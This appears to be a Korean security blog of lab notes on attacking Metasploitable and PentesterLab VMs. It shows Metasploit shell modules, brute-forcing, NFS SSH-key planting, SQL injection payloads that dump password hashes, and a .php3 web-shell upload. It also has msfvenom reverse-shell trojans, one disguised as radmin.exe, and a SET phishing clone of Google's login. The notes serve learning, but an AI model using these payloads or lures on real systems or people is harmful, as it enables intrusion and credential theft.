2018. 8. 16.

[mutillidae] mutillidae 계정 생성 및 로그인

metasploit 에 mutillidae 가 설치되어 있는데 계정을 생성해도 생성되지 않는다. 그 이유는 metasploit.accounts  라는 테이블이 존재하지 않기 때문이다.
metasploit 에서 /var/www/multillidae/config.inc 에서 데이터베이스 명을 owasp10 으로 수정해야 한다.





# 참조
  • https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide
  • https://www.irongeek.com/i.php?page=videos/web-application-pen-testing-tutorials-with-mutillidae#determine-http-methods-using-netcat

Continue reading

2018. 8. 8.

[metasploitable] nmap 이후 발견된 서비스에 대한 공격 테스트


공격 시나리오 : nmap 구동하고 운영 중인 서비스에 대한 모든 공격테스트를 시행한다.

nmap 을 구동하고 나온 결과는 다음과 같다.

# 21번 ftp

p 서비스 
21번

현재 kali linux 에서 meta로 ftp 접속이 되지 않는 상황이다. (원인 파악 필요)

vsftpd 로 검색한 결과 다음의 모듈을 찾았고 바로 쉘이 실행된다.



# 22번 ssh

openssh 4.7 버전을 사용하고 있다.

ssh 192.168.203.130 -l msfadmin 을 입력하면 password 입력하여 로그인 할 수 있다.



hydra 를 이용한 패스워드 무차별 삽입 공격 실패
나중에 원인을 찾도록 한다.


# 23번 telnet

텔넷 서비스 접속을 시도하자 ID/PW 를 묻는다
- telnet 192.168.203.130

hydra 로 무차별 삽입 공격을 수행하자 passwd를 찾았다.





# samba 

nmap 결과로 버전명이 완벽하게 나와있지 않다. 3.x - 4.x 로 되어 있다. 정확한 버전을 알아내기 위해 auxiliary 모듈을 사용한다.

- use auxiliary/scanner/smb/smb_version
- set rhost [tartget ip]
- run


samba 버전이 3.0 이라는 것을 알게되었다. 이 내용으로 metasploit 내에서 search 명령어로 검색해도 되지만 구글에서 samba 3.0 metasploit 이라고 검색하면 내용을 확인 할 수 있다. (username_map_script)

- search username_map_script
- use exploit/multi/samba/usermap_script
- set rhost 192.168.203.130
- run

위 명령어를 통해 쉘을 취득할 수 있다.


# 513번 rlogin 



rlogin 취약점 내용

  • http://coashanee5.blogspot.com/2017/04/r-command.html


tcp port 512, 513, 514 는 r 서비스 이다. 513 rlogin 서비스는 일반 사용자가 특권 계층의 데이터에 접근 할 수 있는 취약점이다. 원격에서는 rlogin 으로 무차별 대입 공격을 할 수 있다.

# 2046번 nfs 

네트워크 파일 시스템(nfs) 에 대한 접근통제가 수행되지 않아 외부에서 공유 자원 목록을 확인 할 수 있다.

원격(kali linux)에서 서비스 설명 정보 출력이 가능하다.
(단, kali linux 기본 설정에서는 rpcinfo, showmount 명령어가 설치 되어 있지 않으니 수동으로 설치 해야한다.

  • sudo apt-get install apt-file
  • sudo apt-file update
  • apt-file search showmount
  • apt-get install nfs-common
)



그러면 이 취약점으로 무엇을 할 수 있을까.
ssh-keygen

ssh key 는 서버에 접속 할 때 비밀번호 대신 key 를 제출 하는 방식이며 이는, 1) 비밀번호보다 높은 수준의 보안을 필요로 할 때, 2) 로그인 없이 자동으로 서버에 접속 할 때 사용된다. 

(참조 https://opentutorials.org/module/432/3742)

ssh-keygen 명령어로 언급된 파일의 설명은 위와 같다. 

mount 명령어를 사용하여 192.168.203.130 파일 시스템을 임의로 만든 /tmp/r00t 디렉터리에 마운트 한다. -t 명령어로 타입을 지정해야한다. 마운트 하면 아래와 같이 metasploitable 의 최상위 폴더의 (/) 파일이 확인된다. 마운트가 정상적으로 된것이다. 
그 후 cat 명령어로 id_ras.pub, 즉 접속하려는 리모트 머신의 인증키를 /tmp/r00t/root/.ssh/authorized_keys에 저장한다.  
cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys  이 명령어로 192.168.203.130 파일의 인증키를 나의 인증키로 대체하는 것이다.


그러면서 ssh 에 접속하게 되면 바로 로그인된다. (root 디렉토리에  id_rsa의 내용이 담겨 있으므로 root@ 라고 입력한다. )

# 3306번 mysql

mysql 비밀번호 설정을 하지 않아서 원격에서 접속이 가능함


# 5432번 postgresql 

postgresql 기본 계정 정보 (postgres/postgres)가 취약하게 설정되어 있어서 외부에서 접속이 가능함


metasploit 으로 공격을 시도 할 수도 있다. 

- use/auxiliary/scanner/postgres/postgres_login
- show options
- set rhosts 192.168.203.130
- set verbose false (whether to print output for all attempts)
- run


hydra 를 이용한 무차별 삽입 공격


** postgres 명령어


postgres=# \dn
스키마(schema) 목록
  이름  |  소유주  
--------+----------
 public | postgres
(1개 행)

postgres=# select version();
                                            version                                            
-----------------------------------------------------------------------------------------------
 PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
(1개 행)

postgres-# \l
                   데이터베이스 목록
   이름    |  소유주  | 인코딩 |      액세스 권한      
-----------+----------+--------+-----------------------
 postgres  | postgres | UTF8   | 
 template0 | postgres | UTF8   | =c/postgres          +
           |          |        | postgres=CTc/postgres
 template1 | postgres | UTF8   | =c/postgres          +
           |          |        | postgres=CTc/postgres
(3개 행)

postgres=# select * from pg_user;
 usename  | usesysid | usecreatedb | usesuper | usecatupd |  passwd  | valuntil | useconfig 
----------+----------+-------------+----------+-----------+----------+----------+-----------
 postgres |       10 | t           | t        | t         | ******** |          | 
(1개 행)



** 히드라는 아래와 같이 상당히 다수의 프로토콜을 지원한다.
It supports: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

# 5900번 VNC

취약한 패스워드에 대한 무차별 삽입 공격을 시도한다. 

- use auxiliary/scanner/vnc/vnc_login
- show options


- set verbose false
- set rhosts 192.168.203.130
- run



# 8180번 Apache tomcat/Coyote JSP engine 1.1

8180에 tomcat 구동 중이라는 것을 확인하였고 실제 브라우저에서 접속 확인을 한다. 
- firefox 192.168.203.130:8180
- firefox 192.168.203.130:8180/manager/html

metasploit 에서 로그인 공격을 수행 할 것이다. 

- search tomcat
- use auxiliary/scanner/http/tomcat_mgr_login
- set rhosts 192.168.203.130
- set rposts 8180
- run





# 참조
  • https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide

Continue reading

2018. 8. 7.

2018. 8. 6.

[PentestrLAB] from sql to shell 취약점 점검


PentesterLab 의 from sql to shell 에 관해 취약점 점검을 해본다.

만약 대역을 지정하고 살아있는 호스트를 검색한다면 nmap -sn x.x.x.x/24 라고 검색했을텐데 나는 특정 호스트의 IP 를 알고 있기 때문에 바로 상세 스캔을 진행한다.

# nmap 구동
nmap -sT -sV -A -O -v -p 1-65535 192.168.203.131


스캔 결과 80번 포트가 열려있고 Apache httpd 2.2.16 (Debian) 사용중이라는 정보를 얻을 수 있었다. 


# dirb 구동

# nikto 구동

# sql 인젝션 취약점 발견

1) union 방식








192.168.203.131/cat.php?id=1 에서 취약점을 확인하려 한다.

[order by 를 통한 취약점 확인]
http://testsite.com/cat.php?id=1 order by 1#
http://testsite.com/cat.php?id=1 order by 2#
http://testsite.com/cat.php?id=1 order by 3#
http://testsite.com/cat.php?id=1 order by 4#
http://testsite.com/cat.php?id=1 order by 5# -> 컬럼 갯수가 4개라면 order by 5에서 에러 발생 (여기서 컬럼이란, id, title, img, cat 이런 것을 의미함)


[having 을 통한 취약점 확인, mssql 인 경우만 해당됨]
testsite.com/cat.php?id=1 having 1=1#  --> 취약점이 있다면 에러발생

[union all select 를 통한 취약점 확인]
select * from test where id=1 union all select null; 
select * from test where id=1 union all select null, null; 
select * from test where id=1 union all select null, null, null;
select * from test where id=1 union all select null, null, null;
select * from test where id=1 union all select null, null, null,null;
select * from test where id=1 union all select null, null, null,null,null; --> 컬럼 갯수가 4개라면 5개 null 을 통해 에러 발생

[참 거짓으로 취약점 확인]
testsite.com/cat.php?id=1 or 1=1# -> 모든 컬럼이 노출되면 취약점 존재

[time 기반 취약점 확인]
testsite.com/cat.php?id=1 and sleep(5)# -> 5초후에 페이지가 뜬다면 취약점 존재

[정수기반 취약점 확인]
testsite.com/cat.php?id=2-1  -> id =1 일때와 동일한 결과를 출력하므로 취약

[취약점 존재가 확인되었고 데이터 출력을 시도함]
testsite.com/cat.php?id=1 union all select null,null,null,null; ->  데이터 출력 위치를 확인한다
testsite.com/cat.php?id=1 union all select null,@@version,null,null; -> 두번째 컬럼에서 함수가 실행되어 5.1.63-0+squeeze1가 출력되는 것을 알 수 있다.mysql 임을 확인하였다.

http://testsite.com/cat.php?id=1 union all select null,schema_name,null,null from information_schema.schemata; --> 스키마 name을 확인하였고, information_schema, photoblog라는 이름을 얻었다, 참고로 mysql 은 출력이 안됨


http://testsite.com/cat.php?id=1 union all select 1,database(),3,4; -->현재 사용하고있는데이터베이스 명을 알 수 있다.photoblog 이다.


http://testsite.com/cat.php?id=1 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database(); --> 현재 사용하고 있는 데이터베이스 안에 있는 테이블을 알 수 있다. 

http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema in (0x70686f746f626c6f67) --> 데이터베이스가 phtoblog 인지 알았으니 in (헥스값) 으로 진행 할 수 있다.




http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name in (0x7573657273) --> 이와 같은 방식으로 users(0x7573657273) 테이블의 컬럼( id, login, password ) 를 알 수 있다.

http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=users -->이유는 모르겠지만 table_name=users 는 적용이 실행이 안된다.

http://testsite.com/cat.php?id=1 union all select 1,group_concat(concat_ws(0x3a,id,login,password)),3,4 from users; --> concat_ws를 사용하여 : 구분자를 이용한 데이터 출력이 가능하다. 1:admin:8efe310f9ab3efeae8d410a8e0166eb2라고 데이터를 확인 할 수 있다.

2) boolean 참 거짓 을 이용한 방법

** 풀네임으로 찾는 방법
http://testsite.com/cat.php?id=1 and (select 2 from users)=2  --> 이와 같이 users 라는 테이블이 있는지 직접적으로 확인 할 수 있다.
** 문자 하나하나씩 찾는 방법

# upload 공격
앞의 sql 인젝션 공격에서 관리자 계정을 취득하였다. (admin/P4ssw0rd)

192.168.203.131/admin 으로 접속해서 로그인을 하면 파일 업로드하는 페이지가 존재함을 확인하였다. (http://192.168.203.131/admin/new.php)

아래의 php 웹쉘 파일을 올려보겠다.


그러나 웹 사이트에서 php파일을 차단하였다. 그러나 php3 으로 변경하고 업로드 하니 성공하였다.

앞서 dirb 로 확인한 디렉토리 리스팅 취약점을 이용해 웹쉘파일을 실행하면 다음과 같이 웹쉘을 취득 할 수 있다.

nc를 이용해서 실제 쉘을 취득하려 한다.


** metasploit handler 를 이용하여 쉘 취득

1. msfvenom 을 이용해서 리버스 파일을 제작한다.
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.203.135  LPORT=4444 -f raw > shell.php
2. 파일을 업로드 한다. 업로드가 안되면 php3 등으로 바꿔본다.
3. 업로드에 성공하고 업로드 파일을 실행이 가능하게 된다.
4. kalil linux 에서 메타스플로잇을 실해하고 핸들러를 실행한다.

  • use multi/handler
  • set payload php_meterpreter_reverse_tcp
  • set lhost 192.168.203.135(공격자 ip)
  • set lport 4444
5. 핸들러 쉘의 정보는 위에서 만든 리버스 파일의 정보와 동일해야 한다.
6. run 또는 exploit 으로 핸들러를 실행한다. 
7. 웹에서 업로드한 리버스 파일을 실행하면 meterpreter 쉘이 떨어진다.



# 참조

  • http://poqw.tistory.com/24
  • https://medium.com/@Kan1shka9/pentesterlab-from-sql-injection-to-shell-walkthrough-7b70cd540bc8

Continue reading

2018. 8. 5.

metasploitable 설치

# Metasploitable 다운로드

  • https://sourceforge.net/projects/metasploitable/?source=typ_redirect
기본 계정 정보 (msfadmin/msfadmin)
root 비밀번호는 따로 설정해야한다. sudo -s 를 통해 root로 접속한후 passwd 명령어로 루트 비밀번호를 지정한다. (toor/toor) 
sudo와 su의 차이점 : sudo 는 일반사용자 자신의 비밀번호를 입력하고, su는 루트 비밀번호를 입력한다. 

root 계정으로 사용자 계정 추가 
- adduser test


** 추가, 윈도우 7 이미지 설치
- 90일 평가기간이 주어지므로 vmware 스냅샷 기능으로 활용하면 된다.
- 제대로된 공격시연을 위해서는 업데이트를 끄고 진행해야 한다.
- [Edit] → [Preferences…] → [Display 선택] → [Autofit guest 체크] 이후 Guest OS를 재부팅 한 이후 부터는 Vmware의 창 크기를 변경하면 해상도가 자동으로 변경되어 적용되는 것을 확인할 수 있다.
  • https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
취약한 어플리케이션 설치

- https://www.exploit-db.com/exploits/638/  -->


실습환경
smail (https://www.exploit-db.com/exploits/638/)
adobe reader 8.1.2 (http://www.oldapps.com/adobe_reader.php?old_adobe=17)
java 7 (http://www.oldapps.com/java.php?app=48F54897524910CE60FBA3E124AE7EAD)

Continue reading

[Self Question] Linux 에서 윈도우로 ssh 접속

SSH, FTP 역시 윈도우 계정 정보로 로그인을 한다. 그러나 ssh 서비스는 열려 있는데 windows 계정 패스워드를 설정해놓지 않으면 로그인이 안된다. 패스워드가 있어야 로그인이 된다는 것이다.


hydra 로 로그인 무차별 삽입 공격한 모습이다. 취약한 암호는 간단하게 뚫려버리므로 복잡한 암호를 사용해야 한다. 

아래는 ncrack 으로 공격한 모습이다. 둘 다 결과를 빠르게 찾았다.


Continue reading

[kali linux] ftp 설정 및 메모 정보

kali linux 는 데비안 계열이다. debian 계열 ftp 설정에 관한 메모한다.

kali 를 처음 설치했을때 ftp가 기본으로 설치되어 있지 않기 때문에 직접 설치 해야한다.
- sudo apt-get install ftp
- apt-get install -y vsftpd
- etc/vsftpd.conf 설정
  local_enable=yes  (로컬 사용자의 접속 허용 여부)
  write_enable=yes (로컬 계정 사용자가 write 허용 여부)
  local_umask=022 (로컬 계정 사용자용 umask)
- /etc/init.d/vsftpd restart
- 원격에서 접속

Continue reading

칼리리눅스를 이용한 사회공학 공격

# setoolkit

1. 도메인 피싱


실행하게 되면 위와 같이 뜨고 1번을 선택한다.

- website Attack Vectors 를 선택한다.
- Credential harvester attack method 를 선택한다



- web templates 를 선택한다. 웹 템플릿 항목은 set에 내장되어 있는 구글 페이지를 사용하는 것이다. site cloner는 특정 사이트를 지정하여 해당 페이지를 복제하여 공격할 때 사용한다.
- kali linux 의 IP를 입력한다.  (인터넷망으로 연결해야함)
- google 선택

** 만약 에러가 발생하면, /usr/share/set/src/webattack/harvester/harvester.py 를 수정해야 한다. detect openssl 부분 아래 내용을 모두 주석처리 한다.

- 브라우저에서 칼리 ip를 입력하면 구글 로그인 창이 뜬다.


해당 웹 브라우저에서  ID/PW를 치면 계정정보가 그대로 노출된다.


2. 유사 도메인 공격

- SET 를 이용한 도메인 공격 (GOOGLE과 똑같은 사이트를 만들고 로그인을 유도)
- 클라이언트 사이드 공격 (웹사이트에서 악성 파일(트로이목마 등)을 다운로드 하게하여 실행하게 하거나 웹 사이트에 접속 했을때 바로 자바나 브라우저 공격을 시도 하는 것)
- 웹 사이트가 뿐 아니라 페이크 smtp 메일 서버 ssh , ftp 등 다른 서비스를 통해 로그인 정보 탈취





Continue reading

2018. 8. 3.

ARP 패킷 분석

# ARP 패킷 분석

ARP 패킷은 LAN에서 통신을 하기 위해 IP주소(L3) 를 MAC(L2) 로 변환하기 위해 각 장치 간에 주고 받는 패킷이다. 따라서 특정 IP 의 mac 주소가 알고 싶을 때 이 arp request, arp reply 를 통하여 mac 주소를 확인 할 수 있다.
그러면 어떻때 ARP 프로토콜을 사용하는가.



(출처 https://m.blog.naver.com/PostView.nhn?blogId=pomm88&logNo=150142212019&proxyReferer=https%3A%2F%2Fwww.google.co.kr%2F)

내부 통신을 할때에는 2계층의 스위치를 사용하는데 이 스위치가 모든 통신의 중계자 역할을 한다. 스위치는 MAC 주소로 각 컴퓨터들을 인지한다. 모든 스위치는 ARP 테이블이란 것이 존재하는데 형태는 아래와 같이 ip와 mac 주소의 매칭 형태로 관리된다.



1. arp 필터링 후 첫번째 패킷 (ARP 요청 브로드캐스트 패킷)



첫번째 패킷은 10.10.10.7 IP를 가진 컴퓨터가 10.10.10.1 를 가진 컴퓨터의 MAC 주소를 알아보기 위해 해당 LAN 상에 브로드캐스트 한 것이다.
"10.10.10.1 이랑 통신하고 싶은데 걔가 누구인가요?" 라고 말하는 것이다. 그러면 스위치는 내부의 모든 컴퓨터에게 이 요청을 뿌리고 LAN 상의 모든 장치는 ARP 패킷을 받고 해당되는 IP주소를 가진 장치는 MAC 주소를 담은 응답 패킷을 생성하여 요청한 장치에게 전송한다.


2. arp 필터링 후 두번째 패킷(arp 응답 유니캐스트 패킷)

두번째 패킷은 유니캐스트로서 arp request에 대한 응답 패킷이다. [ethernet 2] - [source] 항목을 보면 10.10.10.1의 mac 주소를 확인 할 수 있다.



"내가 10.10.10.1 입니다. " 라고 말하면서 스위치에게 자신의 mac 주소를 알려주고 스위치를 통해 나에게 까지 전달이 되는 것이다.

다시 위 패킷을 정리하면 10.10.10.7 이 "누가 10.10.10.1 인가요?" 라고 요청하고 10.10.10.1이 "나에요. 내 mac 주소는 00:90:fb:46:0d:2b 입니다"


Continue reading

2018. 8. 2.

트로이 목마 제작 (backdoor)


# 트로이 목마 제작-1 

프로그램을 실행함과 동시에 리버스 커넥션을 통해 쉘을 탈취하는 트로이 목마를 제작해본다.
* msfvenom 사용
msfvenom 메타스플로잇의 부가기능으로 제공되는 프로그램이다. 각종 페이로드를 생성ㅎ할 수 있는 프로그램이다. 공격할때 사용되는 쉘코드, exe 실행파일 형태로 공격파일을 생성 할 수 있다.


msfvenom -p windows/meterpreter/reverse_tcp LHOST=로컬 ip LPORT=4444 -f exe > bad.exe

exe 포맷으로 사용자가 클릭하면 바로 공격이 되는 bad.exe 라는 실행파일을 실행한다.

이 역시 핸들러가 필요하므로 multi/handler 모듈을 사용한다
payload 는 msfvenom 과 동일하게 설정하면 된다. 그 후, 별다른 옵션이 필요 없으므로 바로 실행하면 된다.



해당 파일을 kali/download 에 옮겨서 윈도우7애서 다운로드 하게 되면 리스터에서 응답을 하고 미터프리터 쉘이 실행된다.


# 트로이 목마 제작-2 정상적인 프로그램으로 보이는 real 트로이목마 

/usr/share/windows-binaries 폴더에는 윈도우에서 사용할 수 있는 파일들이 있다.

radmin 을 파일로 위장한 파일 트로이목마를 제작하도록 한다.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=로컬 ip LPORT=4444 -f exe -x /usr/share/windows-binaries/radmin.exe -k > radmin.exe

-k 옵션은 위장 할 원본 파일을 지정, -k 는 페이로드가 새로운 스레드로 생성되게 하는 것이다 즉 페이로드와 상관없이 원본 프로그램이 정상적으로 작동되게 하는 것이다.

이렇게 생성된 파일이름을 기존 생성파일과 동일하게 두면 보다 더 그럴듯하게 된다.
그리고 multi/handler 를 실행하고, 웹서버에 다운로드 하고 실행한다.


radmin.exe 을 다운로드 하면 정상 파일처럼 실행이 되지만 공격자pc 에서는 meterpreter 쉘이 실행된다.
그러나 사용자가 radmin 프로그램을 닫아버리면 세션이 끊어진다. 별도의 프로그래밍을 통해 세션을 유지하는 기능을 넣어야 할것 같다.


Continue reading

Popular Posts

Recent Posts

Powered by Blogger.